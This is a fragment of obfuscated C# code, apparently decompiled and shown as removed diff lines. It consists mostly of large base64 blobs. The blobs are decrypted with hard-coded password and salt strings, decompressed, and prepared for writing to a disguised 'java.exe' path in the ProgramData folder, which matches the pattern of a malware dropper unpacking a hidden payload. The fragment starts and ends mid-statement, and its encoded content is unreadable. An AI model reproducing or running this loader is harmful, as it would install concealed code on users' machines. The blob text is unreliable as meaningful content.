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", "Gz59Bsk7DQj4", "p5JCq4n8T7Qxc9WDm2o6A3Si", "SHA1", 2, "i9HSb86Wdy4YJn57", 128)); - string path = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\java.exe"; - byte[] numArray = SevenZipHelper.Decompress(Driver.i6LDz4e8GWr59AjBs72K("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